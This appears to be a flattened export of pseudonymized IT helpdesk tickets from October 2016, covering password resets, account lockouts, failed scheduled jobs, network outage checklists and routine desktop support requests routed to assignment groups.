received from: vxzahrlc.frtkpehy@gmail.com\_x000D\_
\_x000D\_
it,\_x000D\_
please image below. i have been trying to get into bobj all day and this is all that shows up.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d227c5.8a6dadd0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_20.Ticket with Short description: account unlock, Description: ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
jqxtbspr mpfdivlh
hello rakthyesh
rakthyesh
hi davidthd
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to change password and sync new password on all accounts, Description: need to change password and sync new password on all accounts, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign in to skype, Description: unable to sign in to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for ess user nothrdaj12, Description: password reset for ess user nothrdaj12, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:company-na-usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 7:14 am et on 10/16., Description: circuit outage:company-na -usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 7:14 am et on 10/16., is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3343 failed in job\_scheduler at: 10/16/2016 04:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3343 failed in job\_scheduler at: 10/16/2016 04:55:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: application "plm conversion server" on node "HostName\_521" is in a warning state in monitoring\_tool, Description: warning: alwaysupservice.exe process count , is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_1140 failed in job\_scheduler at: 10/16/2016 02:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1140 failed in job\_scheduler at: 10/16/2016 02:30:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_3343 failed in job\_scheduler at: 10/16/2016 01:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3343 failed in job\_scheduler at: 10/16/2016 01:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/16/2016 00:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/16/2016 00:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 10/16/2016 00:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 10/16/2016 00:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_480 failed in job\_scheduler at: 10/16/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_480 failed in job\_scheduler at: 10/16/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job snp\_heu\_6\_regen failed in job\_scheduler at: 10/16/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_6\_regen failed in job\_scheduler at: 10/16/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1653 failed in job\_scheduler at: 10/16/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1653 failed in job\_scheduler at: 10/16/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job snp\_heu\_5\_regen failed in job\_scheduler at: 10/16/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_5\_regen failed in job\_scheduler at: 10/16/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 10/15/2016 23:49:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 10/15/2016 23:49:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3050 failed in job\_scheduler at: 10/15/2016 23:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3050 failed in job\_scheduler at: 10/15/2016 23:38:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3050 failed in job\_scheduler at: 10/15/2016 23:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3050 failed in job\_scheduler at: 10/15/2016 23:37:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: circuit outage:india :company-ap-ind-carrier-891-dmvpn-rtr02 is down since 10.15 pm et on 10/15. primary circuit is up., Description: what type of outage: \_\_\_\_\_network xcircuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_10.15 pm et on 10/15\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? no\_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: planned power outage :matlxjgi elrndiuy - (company) hard down since 10:03 pm on 10/15 et, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_10:03 pm on 10/15 et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_na\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_na\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_yes\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_737 failed in job\_scheduler at: 10/15/2016 21:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 32 \_x000D\_
failed disk agents ........... 0 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 32 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 1 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 2 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 277264 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 0 \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
job Job\_737 failed in job\_scheduler at: 10/15/2016 21:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: sound not working , suspecting email threat, Description: from: thaybd mhasttdd
sent: saturday, october 15, 2016 10:52 pm
to: nwfodmhc exurcwkm
cc: rohthsit mhdyhtya
subject: fw: inquiry - purchase order
hi,
kindly check for below mail, is hope it may be junk mail. i never meet any person as name shows of sender. i have tried opening attachment but unable to do that.
forwarding this mail for seeking it help to check whether its only junk mail or attachment opeyctrhbkm plvnuxmry cause issues ( like virus or our company database theft through link)
please check and confirm.
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry on erp SID\_34 maintenance , Description: inquiry on erp SID\_34 maintenance , is assigned to Assignment group: GRP\_0.Ticket with Short description: apac, company: multiple switches went down at 07:36 pm et on 10/15. , Description: company-ap-chn-apac-company-fpsf-2960s-access-sw01\_x000D\_
company-ap-chn-apac-company-pmw-2960s-access-sw01\_x000D\_
company-ap-chn-apac-company-psf-2960s-access-sw01, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bcv117\_SID\_37 failed in job\_scheduler at: 10/15/2016 18:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bcv117\_SID\_37 failed in job\_scheduler at: 10/15/2016 18:03:00, is assigned to Assignment group: GRP\_1.Ticket with Short description: job SID\_38hoti failed in job\_scheduler at: 10/15/2016 17:27:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_38hoti failed in job\_scheduler at: 10/15/2016 17:27:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_55hoti failed in job\_scheduler at: 10/15/2016 17:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_55hoti failed in job\_scheduler at: 10/15/2016 17:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_563 failed in job\_scheduler at: 10/15/2016 15:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_563 failed in job\_scheduler at: 10/15/2016 15:12:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_480 failed in job\_scheduler at: 10/15/2016 13:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_480 failed in job\_scheduler at: 10/15/2016 13:18:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 10/15/2016 08:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 10/15/2016 08:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1320 failed in job\_scheduler at: 10/15/2016 08:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1320 failed in job\_scheduler at: 10/15/2016 08:31:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: pc an r241 in halle c nÃ¤he bÃ¼ro nesner fÃ¤hrt nicht hoch, Description: einlasten bei it-germany, da hierfÃ¼r bereits ein ersatz-pc verbaut ist und ein neuer bestellt wurde., is assigned to Assignment group: GRP\_33.Ticket with Short description: laptop model latitude 7350 speakers are not working, Description: name:ilypdtno mkdfetuq
language:
browser:microsoft internet explorer
email:ilypdtno.mkdfetuq@gmail.com
customer number:
telephone:
summary:my laptop model latitude 7350 speakers are not working, is assigned to Assignment group: GRP\_19.Ticket with Short description: jobs are getting fail due to dbif\_rsql\_sql\_error issue, Description: jobs are getting fail due to dbif\_rsql\_sql\_error issue, is assigned to Assignment group: GRP\_1.Ticket with Short description: network outage: vogelfontein, south africa ,sa network is down since 2:28am et on 10/15/16, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_2:28am et on 10/15/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bwsdslspln failed in job\_scheduler at: 10/15/2016 02:27:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwsdslspln failed in job\_scheduler at: 10/15/2016 02:27:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 10/15/2016 02:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 10/15/2016 02:06:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1373 failed in job\_scheduler at: 10/15/2016 02:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1373 failed in job\_scheduler at: 10/15/2016 02:03:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1382 failed in job\_scheduler at: 10/15/2016 01:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1382 failed in job\_scheduler at: 10/15/2016 01:39:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: server lnbdm839 (active directory) located in philadelphâ€‹ia is down since 1:14am et on 10/15/16, Description: server lnbdm839 (active directory) located in philadelphâ€‹ia is down since 1:14am et on 10/15/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bk\_hana\_SID\_62\_erp\_dly\_dp failed in job\_scheduler at: 10/15/2016 01:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_erp\_dly\_dp failed in job\_scheduler at: 10/15/2016 01:32:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: m drive access request, Description: \_x000D\_
\_x000D\_
received from: ajlbguzn.fxrwivyg@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please provide access m:\pu5<file:///\\HostName\_95\departments\pu5> press tool folder for following computers.\_x000D\_
awywx217842\_x000D\_
awyl8911908\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_12.Ticket with Short description: job SID\_56filesys failed in job\_scheduler at: 10/15/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_56filesys failed in job\_scheduler at: 10/15/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1653 failed in job\_scheduler at: 10/15/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1653 failed in job\_scheduler at: 10/15/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pass word reset , Description:
received from: ujzhflpn.oibnxrvq@gmail.com
hi
please reset the pass word as "daypay3" for below user id
user id â€“ purartnpn12
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: engineering\_toolkuznetsk warehouse - (company) network is down since 9:47pm et on 10/14/16, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_9:47pm et on 10/14/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_56filesys failed in job\_scheduler at: 10/14/2016 22:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_56filesys failed in job\_scheduler at: 10/14/2016 22:25:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: vogelfontein, south africa , sa:company-eu-zaf-vogelfontein-2960-access-sw08.company.com is down since 8:04 pm et on 10/14., Description: vogelfontein, south africa , sa:company-eu-zaf-vogelfontein-2960-access-sw08.company.com is down since 8:04 pm et on 10/14.\_x000D\_
interface down - on gigabitethernet1/0/49 Â· uplink to company-eu-zaf-vogelfontein-2960-access-sw08 - on company-eu-zaf-vogelfontein-2960-core-sw01.company.com , is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset request, Description: password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sync mails or calendars on mobile device, Description: unable to sync mails or calendars on mobile device, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_869636, Description: ticket update on inplant\_869636, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to network printer, Description: unable to connect to network printer\_x000D\_
\_x000D\_
ticket update on inplant\_869629, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_562 failed in job\_scheduler at: 10/14/2016 17:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_562 failed in job\_scheduler at: 10/14/2016 17:51:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: password not update , Description: \_x000D\_
\_x000D\_
received from: cuzhydjl.fugwxdqh@gmail.com\_x000D\_
\_x000D\_
hello team good afternoon.\_x000D\_
\_x000D\_
my name is cuzhydjl fugwxdqh, mexico queretaro.\_x000D\_
\_x000D\_
unfortunate my password was expired but i forgot update it, now i cannot enter at the company systems (distributor\_tool, crm,)\_x000D\_
\_x000D\_
today i tried to change the password but the web site don't give me access, please can you said me what i should do about this?\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network printer not working, Description: \_x000D\_
\_x000D\_
received from: umzcxfah.aoshpjiu@gmail.com\_x000D\_
\_x000D\_
please check to see if printer rr14 on lrrsm007 is connected to the network. i have sent several documents but they are all sitting in queue. the printer is turned on and says it is ready but nothing happens.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_869625, Description: ticket update on inplant\_869625, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder deleted in HostName\_768, Description: folder deleted in HostName\_768
folder needs to be restored
t:\globaleng\beyond machining\gtc\
, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to log in to erp netweaver , Description: unable to log in to erp netweaver , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: request: unlock user account (sekarf4ts), Description:
received from: sthyuraj.sektyhar@company.com
hello,
please unlock my user account
user name: sekarf4ts
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: company center accounts added- help with a deleted item, Description: please add to my company center accounts 81543268,70453441,81819969,70776642,81887755,70823214 and 81936238. on account 81945823 i accidently deleted the orders section please restore, is assigned to Assignment group: GRP\_21.Ticket with Short description: job snp\_heu\_6\_regen failed in job\_scheduler at: 10/14/2016 14:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_6\_regen failed in job\_scheduler at: 10/14/2016 14:55:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: cannot create a delivery. please fix this in apo, Description:
received from: hybiaxlk.lawptzir@gmail.com
[cid:image001.jpg@01d22610.66263d40]
kryuisti turleythy
usa site business manager
hybiaxlk.lawptzir@gmail.com<mailto:hybiaxlk.lawptzir@gmail.com>
, is assigned to Assignment group: GRP\_6.Ticket with Short description: job snp\_heu\_5\_regen failed in job\_scheduler at: 10/14/2016 14:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_5\_regen failed in job\_scheduler at: 10/14/2016 14:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: create telephony\_software id for the gso new hire sewilrxm cbikymvf , Description: create telephony\_software id for the gso new hire sewilrxm cbikymvf , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to save exe file, Description: \_x000D\_
\_x000D\_
received from: rlphwiqn.zagvbkro@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
i need help saving an .exe file. i had an analyst attempting to help today and he asked me to put in a help desk ticket as there is a problem with my pc. the file he is attempting to save is attached.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: vip 2: user unable to join skype meeting from external vendor, Description: vip 2: user unable to join skype meeting from external vendor, is assigned to Assignment group: GRP\_0.Ticket with Short description: analysis for office (aao) tool , Description: install the analysis for office (aao) tool on the laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: error: no sto possible with these combinations, Description: error: no sto possible with these combinations\_x000D\_
\_x000D\_
error when entering a stock transfer for material # 2122807 from plant\_93 to plant\_333.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: system hangs and slow, Description: help to format and reinstall the os on the laptop . system is getting hang suddenly and slow running., is assigned to Assignment group: GRP\_19.Ticket with Short description: java error, Description: help to update the java ver.on the internet explore, is assigned to Assignment group: GRP\_19.Ticket with Short description: access issue, Description: unable to install the software asking for administrator access, is assigned to Assignment group: GRP\_19.Ticket with Short description: access denied on the collaboration\_platform finance link, Description: link where user needs access \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: melisdfysa is not receiving emails from k-rgrtrs, Description: melisdfysa is not included on the k-rgrtrs email list. she is not receiving emails coming from this address.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: phone issue, Description: phone issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: generirtc information, Description: generirtc information, is assigned to Assignment group: GRP\_0.Ticket with Short description: account lockout, Description: account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: when i click on the download to pdf i don't get the pop-up which allows me to download to pdf (see attachment), Description: when i click on the download to pdf i don't get the pop-up which allows me to download to pdf (see attachment)\_x000D\_
hi this is bthrob ducyua,\_x000D\_
i had don put \*.crm.dynamics.com in his popup blocker and it worked, i don't know if that's the only thing he needs in the pop-up blocker i also had him put company.collaboration\_platform.com in his pop-up blocker because that's what i had in mine. please close this ticket if this is all that needs to be done., is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue, Description: outlook issue // unable to open new email and is going to not responding., is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1559041 - ticket update, Description: inc1559041 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: lost connection to \\hqn029 which is a personal drive shared between my desktop and laptop. , Description: i lost connection to \\hqn029 which is a personal drive shared between my desktop and laptop. i am able to access it on my desktop but no longer on my laptop. i tried to map to the location again, but was unsuccessful. , is assigned to Assignment group: GRP\_0.Ticket with Short description: i cant see my archived emails in outlook. i am leaving today, and natytse sylyhtsvesuyter will need to see those archived emails, Description: outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp printer rerouting, Description: name:uicjxvng jcoshmbf
language:
browser:microsoft internet explorer
email:uicjxvng.jcoshmbf@gmail.com
customer number:
telephone:
summary:i need to change my default printer in erp for transactions co01 and co02. despite changing my default in su3, they are still printing to the wrong printer., is assigned to Assignment group: GRP\_5.Ticket with Short description: interface: fastethernet0/48 cisco aircap 3702 on company-na-usa-usa-idf-2-b-2960-access-sw02.company.com is down , Description: interface: fastethernet0/48 cisco aircap 3702 on company-na-usa-usa-idf-2-b-2960-access-sw02.company.com is down since 10:12 am et on 10/14., is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to open SID\_1 and password issue in SID\_21, Description: unable to open SID\_1 and password issue in SID\_21, is assigned to Assignment group: GRP\_0.Ticket with Short description: bobj, Description:
received from: yhtdon.zdyhazula@company.com
i am having difficulty obtaining data from bobj which i must have this morning. are there any issues being reported? if not, could someone please call me.
, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp password locked out after updating passwords with password\_management\_tool password manager, Description: everything else works. just erp SID\_34 is locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to hub to check pay statements , Description: unable to login to hub to check pay statements , is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_106:windows disk space utilization alert :utiliuytretion is 85%,free space available is 15% under 3gb., Description: HostName\_106:windows disk space utilization alert :utiliuytretion is 85%,free space available is 15% under 3gb., is assigned to Assignment group: GRP\_12.Ticket with Short description: problem with erp sales info, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
i am having trouble getting erp sales info. there are no figures in the fields when i pull up a report.
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
from: suthye kinght
sent: wednesday, october 12, 2016 1:23 pm
to: vkzwafuh tcjnuswg <vkzwafuh.tcjnuswg@gmail.com>
cc: sntvfpbl vtokgley <sntvfpbl.vtokgley@gmail.com>
subject: re: erp sales info
hi stuarthsyt,
you may have to put an it ticket in to get this fixed.
